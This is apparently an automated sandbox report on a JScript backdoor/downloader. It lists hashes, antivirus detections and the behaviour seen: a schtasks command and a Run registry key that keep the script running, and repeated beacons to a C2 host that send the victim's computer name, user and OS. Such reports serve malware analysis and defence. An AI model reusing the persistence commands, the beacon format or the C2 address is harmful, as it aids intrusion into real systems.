Summary | ZeroBOX

Category	Machine	Started	Completed
FILE	s1_win7_x6402	Sept. 15, 2021, 12:17 p.m.	Sept. 15, 2021, 12:20 p.m.

Size	16.0KB
Type	ASCII text, with very long lines, with no line terminators
MD5	`836365de25b8b33c14a7971eeca6151b`
SHA256	`a51cc3c60ccd7b5ea425e70d4a6d3b66174f6e0b71304e9cc34bd800e54d6bc4`
CRC32	`39FD302A`
ssdeep	`384:wLvHm13dN8b4H28naIpRkIfyqcmNxey3hzi8zzHLRsdqjyNLxFcXtqFZaZ:wi1tNXT7PWchmYxsdqjyNNFc0FZaZ`
Yara	None matched

wscript.exe "C:\Windows\System32\wscript.exe" C:\Users\test22\AppData\Local\Temp\Order_inquiry_021_014_21.js
1960
- schtasks.exe "C:\Windows\System32\schtasks.exe" /create /sc minute /mo 30 /tn Skype /tr "C:\ProgramData\Order_inquiry_021_014_21.js
  2344

Name	Response	Post-Analysis Lookup
grace2020.home-webserver.de	A 31.210.20.230	31.210.20.230

IP Address	Status	Action
164.124.101.2	Active	Moloch
31.210.20.230	Active	Moloch

Suricata Alerts

No Suricata Alerts

Suricata TLS

No Suricata TLS

Queries for the computername (37 events)

Time & API	Arguments	Status	Return
GetComputerNameW Sept. 15, 2021, 12:17 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Sept. 15, 2021, 12:17 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Sept. 15, 2021, 12:17 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Sept. 15, 2021, 12:17 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Sept. 15, 2021, 12:17 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Sept. 15, 2021, 12:17 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Sept. 15, 2021, 12:18 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Sept. 15, 2021, 12:18 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Sept. 15, 2021, 12:18 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Sept. 15, 2021, 12:18 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Sept. 15, 2021, 12:18 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Sept. 15, 2021, 12:18 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Sept. 15, 2021, 12:18 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Sept. 15, 2021, 12:18 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Sept. 15, 2021, 12:18 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Sept. 15, 2021, 12:18 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Sept. 15, 2021, 12:18 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Sept. 15, 2021, 12:18 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Sept. 15, 2021, 12:18 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Sept. 15, 2021, 12:18 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Sept. 15, 2021, 12:18 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Sept. 15, 2021, 12:19 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Sept. 15, 2021, 12:19 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Sept. 15, 2021, 12:19 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Sept. 15, 2021, 12:19 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Sept. 15, 2021, 12:19 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Sept. 15, 2021, 12:19 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Sept. 15, 2021, 12:19 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Sept. 15, 2021, 12:19 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Sept. 15, 2021, 12:19 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Sept. 15, 2021, 12:19 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Sept. 15, 2021, 12:19 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Sept. 15, 2021, 12:19 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Sept. 15, 2021, 12:19 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Sept. 15, 2021, 12:19 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Sept. 15, 2021, 12:19 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Sept. 15, 2021, 12:17 p.m.	computer_name: TEST22-PC	1	1

Command line console output was observed (1 event)

Time & API	Arguments	Status	Return	Repeated
WriteConsoleW Sept. 15, 2021, 12:17 p.m.	buffer: SUCCESS: The scheduled task "Skype" has successfully been created. console_handle: 0x00000007	1	1	0

Creates a suspicious process (2 events)

cmdline	Schtasks /create /sc minute /mo 30 /tn Skype /tr "C:\ProgramData\Order_inquiry_021_014_21.js
cmdline	"C:\Windows\System32\schtasks.exe" /create /sc minute /mo 30 /tn Skype /tr "C:\ProgramData\Order_inquiry_021_014_21.js

A process created a hidden window (1 event)

Time & API	Arguments	Status	Return	Repeated
ShellExecuteExW Sept. 15, 2021, 12:17 p.m.	show_type: 0 filepath_r: Schtasks parameters: /create /sc minute /mo 30 /tn Skype /tr "C:\ProgramData\Order_inquiry_021_014_21.js filepath: Schtasks	1	1	0

Uses Windows utilities for basic Windows functionality (2 events)

cmdline	Schtasks /create /sc minute /mo 30 /tn Skype /tr "C:\ProgramData\Order_inquiry_021_014_21.js
cmdline	"C:\Windows\System32\schtasks.exe" /create /sc minute /mo 30 /tn Skype /tr "C:\ProgramData\Order_inquiry_021_014_21.js

Wscript.exe initiated network communications indicative of a script based payload download (14 events)

Time & API	Arguments	Status	Return
InternetCrackUrlW Sept. 15, 2021, 12:17 p.m.	url: http://grace2020.home-webserver.de:3774/Vre flags: 0	1	1
HttpOpenRequestW Sept. 15, 2021, 12:17 p.m.	connect_handle: 0x00cc0008 http_version: flags: 71303168 http_method: POST referer: path: /Vre	1	13369356
InternetCrackUrlW Sept. 15, 2021, 12:18 p.m.	url: http://grace2020.home-webserver.de:3774/Vre flags: 0	1	1
HttpOpenRequestW Sept. 15, 2021, 12:18 p.m.	connect_handle: 0x00cc0008 http_version: flags: 71303168 http_method: POST referer: path: /Vre	1	13369356
InternetCrackUrlW Sept. 15, 2021, 12:18 p.m.	url: http://grace2020.home-webserver.de:3774/Vre flags: 0	1	1
HttpOpenRequestW Sept. 15, 2021, 12:18 p.m.	connect_handle: 0x00cc0008 http_version: flags: 71303168 http_method: POST referer: path: /Vre	1	13369356
InternetCrackUrlW Sept. 15, 2021, 12:18 p.m.	url: http://grace2020.home-webserver.de:3774/Vre flags: 0	1	1
HttpOpenRequestW Sept. 15, 2021, 12:18 p.m.	connect_handle: 0x00cc0008 http_version: flags: 71303168 http_method: POST referer: path: /Vre	1	13369356
InternetCrackUrlW Sept. 15, 2021, 12:19 p.m.	url: http://grace2020.home-webserver.de:3774/Vre flags: 0	1	1
HttpOpenRequestW Sept. 15, 2021, 12:19 p.m.	connect_handle: 0x00cc0008 http_version: flags: 71303168 http_method: POST referer: path: /Vre	1	13369356
InternetCrackUrlW Sept. 15, 2021, 12:19 p.m.	url: http://grace2020.home-webserver.de:3774/Vre flags: 0	1	1
HttpOpenRequestW Sept. 15, 2021, 12:19 p.m.	connect_handle: 0x00cc0008 http_version: flags: 71303168 http_method: POST referer: path: /Vre	1	13369356
InternetCrackUrlW Sept. 15, 2021, 12:19 p.m.	url: http://grace2020.home-webserver.de:3774/Vre flags: 0	1	1
HttpOpenRequestW Sept. 15, 2021, 12:19 p.m.	connect_handle: 0x00cc0008 http_version: flags: 71303168 http_method: POST referer: path: /Vre	1	13369356

Installs itself for autorun at Windows startup (3 events)

reg_key	HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\P7EKOWB6GH	reg_value	"C:\ProgramData\Order_inquiry_021_014_21.js"
cmdline	Schtasks /create /sc minute /mo 30 /tn Skype /tr "C:\ProgramData\Order_inquiry_021_014_21.js
cmdline	"C:\Windows\System32\schtasks.exe" /create /sc minute /mo 30 /tn Skype /tr "C:\ProgramData\Order_inquiry_021_014_21.js

File has been identified by 11 AntiVirus engines on VirusTotal as malicious (11 events)

Arcabit	JS.Heur.Backdoor.2.118C878E.Gen
BitDefender	JS.Heur.Backdoor.2.118C878E.Gen
MicroWorld-eScan	JS.Heur.Backdoor.2.118C878E.Gen
Ad-Aware	JS.Heur.Backdoor.2.118C878E.Gen
Emsisoft	JS.Heur.Backdoor.2.118C878E.Gen (B)
FireEye	JS.Heur.Backdoor.2.118C878E.Gen
Ikarus	Win32.Outbreak
Microsoft	TrojanDownloader:Win32/Nemucod!ml
GData	JS.Heur.Backdoor.2.118C878E.Gen
ALYac	JS.Heur.Backdoor.2.118C878E.Gen
MAX	malware (ai score=84)

wscript.exe-based dropper (JScript, VBS) (7 events)

Network communications indicative of a potential document or script payload download was initiated by the process wscript.exe (34 events)

Time & API	Arguments	Status	Return
InternetCrackUrlW Sept. 15, 2021, 12:17 p.m.	url: http://grace2020.home-webserver.de:3774/Vre flags: 0	1	1
HttpOpenRequestW Sept. 15, 2021, 12:17 p.m.	connect_handle: 0x00cc0008 http_version: flags: 71303168 http_method: POST referer: path: /Vre	1	13369356
send Sept. 15, 2021, 12:17 p.m.	buffer: ! socket: 1064 sent: 1	1	1
send Sept. 15, 2021, 12:17 p.m.	buffer: POST /Vre HTTP/1.1 Accept: / Accept-Language: ko User-Agent: psalms-55_7C6024AD\TEST22-PC\test22\Microsoft Windows 7 Professional KN \undefined\\YES\FALSE\ Accept-Encoding: gzip, deflate Host: grace2020.home-webserver.de:3774 Content-Length: 0 Connection: Keep-Alive Cache-Control: no-cache socket: 1152 sent: 304	1	304
send Sept. 15, 2021, 12:17 p.m.	buffer: ! socket: 1064 sent: 1	1	1
InternetCrackUrlW Sept. 15, 2021, 12:18 p.m.	url: http://grace2020.home-webserver.de:3774/Vre flags: 0	1	1
HttpOpenRequestW Sept. 15, 2021, 12:18 p.m.	connect_handle: 0x00cc0008 http_version: flags: 71303168 http_method: POST referer: path: /Vre	1	13369356
send Sept. 15, 2021, 12:18 p.m.	buffer: ! socket: 1064 sent: 1	1	1
send Sept. 15, 2021, 12:18 p.m.	buffer: POST /Vre HTTP/1.1 Accept: / Accept-Language: ko User-Agent: psalms-55_7C6024AD\TEST22-PC\test22\Microsoft Windows 7 Professional KN \undefined\\YES\FALSE\ Accept-Encoding: gzip, deflate Host: grace2020.home-webserver.de:3774 Content-Length: 0 Connection: Keep-Alive Cache-Control: no-cache socket: 1252 sent: 304	1	304
send Sept. 15, 2021, 12:18 p.m.	buffer: ! socket: 1064 sent: 1	1	1
InternetCrackUrlW Sept. 15, 2021, 12:18 p.m.	url: http://grace2020.home-webserver.de:3774/Vre flags: 0	1	1
HttpOpenRequestW Sept. 15, 2021, 12:18 p.m.	connect_handle: 0x00cc0008 http_version: flags: 71303168 http_method: POST referer: path: /Vre	1	13369356
send Sept. 15, 2021, 12:18 p.m.	buffer: POST /Vre HTTP/1.1 Accept: / Accept-Language: ko User-Agent: psalms-55_7C6024AD\TEST22-PC\test22\Microsoft Windows 7 Professional KN \undefined\\YES\FALSE\ Accept-Encoding: gzip, deflate Host: grace2020.home-webserver.de:3774 Content-Length: 0 Connection: Keep-Alive Cache-Control: no-cache socket: 1252 sent: 304	1	304
send Sept. 15, 2021, 12:18 p.m.	buffer: ! socket: 1064 sent: 1	1	1
InternetCrackUrlW Sept. 15, 2021, 12:18 p.m.	url: http://grace2020.home-webserver.de:3774/Vre flags: 0	1	1
HttpOpenRequestW Sept. 15, 2021, 12:18 p.m.	connect_handle: 0x00cc0008 http_version: flags: 71303168 http_method: POST referer: path: /Vre	1	13369356
send Sept. 15, 2021, 12:18 p.m.	buffer: ! socket: 1064 sent: 1	1	1
send Sept. 15, 2021, 12:18 p.m.	buffer: POST /Vre HTTP/1.1 Accept: / Accept-Language: ko User-Agent: psalms-55_7C6024AD\TEST22-PC\test22\Microsoft Windows 7 Professional KN \undefined\\YES\FALSE\ Accept-Encoding: gzip, deflate Host: grace2020.home-webserver.de:3774 Content-Length: 0 Connection: Keep-Alive Cache-Control: no-cache socket: 1280 sent: 304	1	304
send Sept. 15, 2021, 12:18 p.m.	buffer: ! socket: 1064 sent: 1	1	1
InternetCrackUrlW Sept. 15, 2021, 12:19 p.m.	url: http://grace2020.home-webserver.de:3774/Vre flags: 0	1	1
HttpOpenRequestW Sept. 15, 2021, 12:19 p.m.	connect_handle: 0x00cc0008 http_version: flags: 71303168 http_method: POST referer: path: /Vre	1	13369356
send Sept. 15, 2021, 12:19 p.m.	buffer: ! socket: 1064 sent: 1	1	1
send Sept. 15, 2021, 12:19 p.m.	buffer: POST /Vre HTTP/1.1 Accept: / Accept-Language: ko User-Agent: psalms-55_7C6024AD\TEST22-PC\test22\Microsoft Windows 7 Professional KN \undefined\\YES\FALSE\ Accept-Encoding: gzip, deflate Host: grace2020.home-webserver.de:3774 Content-Length: 0 Connection: Keep-Alive Cache-Control: no-cache socket: 1152 sent: 304	1	304
send Sept. 15, 2021, 12:19 p.m.	buffer: ! socket: 1064 sent: 1	1	1
InternetCrackUrlW Sept. 15, 2021, 12:19 p.m.	url: http://grace2020.home-webserver.de:3774/Vre flags: 0	1	1
HttpOpenRequestW Sept. 15, 2021, 12:19 p.m.	connect_handle: 0x00cc0008 http_version: flags: 71303168 http_method: POST referer: path: /Vre	1	13369356
send Sept. 15, 2021, 12:19 p.m.	buffer: ! socket: 1064 sent: 1	1	1
send Sept. 15, 2021, 12:19 p.m.	buffer: POST /Vre HTTP/1.1 Accept: / Accept-Language: ko User-Agent: psalms-55_7C6024AD\TEST22-PC\test22\Microsoft Windows 7 Professional KN \undefined\\YES\FALSE\ Accept-Encoding: gzip, deflate Host: grace2020.home-webserver.de:3774 Content-Length: 0 Connection: Keep-Alive Cache-Control: no-cache socket: 1276 sent: 304	1	304
send Sept. 15, 2021, 12:19 p.m.	buffer: ! socket: 1064 sent: 1	1	1
InternetCrackUrlW Sept. 15, 2021, 12:19 p.m.	url: http://grace2020.home-webserver.de:3774/Vre flags: 0	1	1
HttpOpenRequestW Sept. 15, 2021, 12:19 p.m.	connect_handle: 0x00cc0008 http_version: flags: 71303168 http_method: POST referer: path: /Vre	1	13369356
send Sept. 15, 2021, 12:19 p.m.	buffer: ! socket: 1064 sent: 1	1	1
send Sept. 15, 2021, 12:19 p.m.	buffer: POST /Vre HTTP/1.1 Accept: / Accept-Language: ko User-Agent: psalms-55_7C6024AD\TEST22-PC\test22\Microsoft Windows 7 Professional KN \undefined\\YES\FALSE\ Accept-Encoding: gzip, deflate Host: grace2020.home-webserver.de:3774 Content-Length: 0 Connection: Keep-Alive Cache-Control: no-cache socket: 1280 sent: 304	1	304
send Sept. 15, 2021, 12:19 p.m.	buffer: ! socket: 1064 sent: 1	1	1

One or more non-whitelisted processes were created (2 events)

parent_process	wscript.exe				martian_process	Schtasks /create /sc minute /mo 30 /tn Skype /tr "C:\ProgramData\Order_inquiry_021_014_21.js
parent_process	wscript.exe				martian_process	"C:\Windows\System32\schtasks.exe" /create /sc minute /mo 30 /tn Skype /tr "C:\ProgramData\Order_inquiry_021_014_21.js

The process wscript.exe wrote an executable file to disk which it then attempted to execute (1 event)

file	C:\Windows\System32\schtasks.exe

Order_inquiry_021_014_21.js

Process Tree Toggle all

Network Toggle all

Suricata Toggle all

Suricata Alerts

Suricata TLS

Signatures Toggle All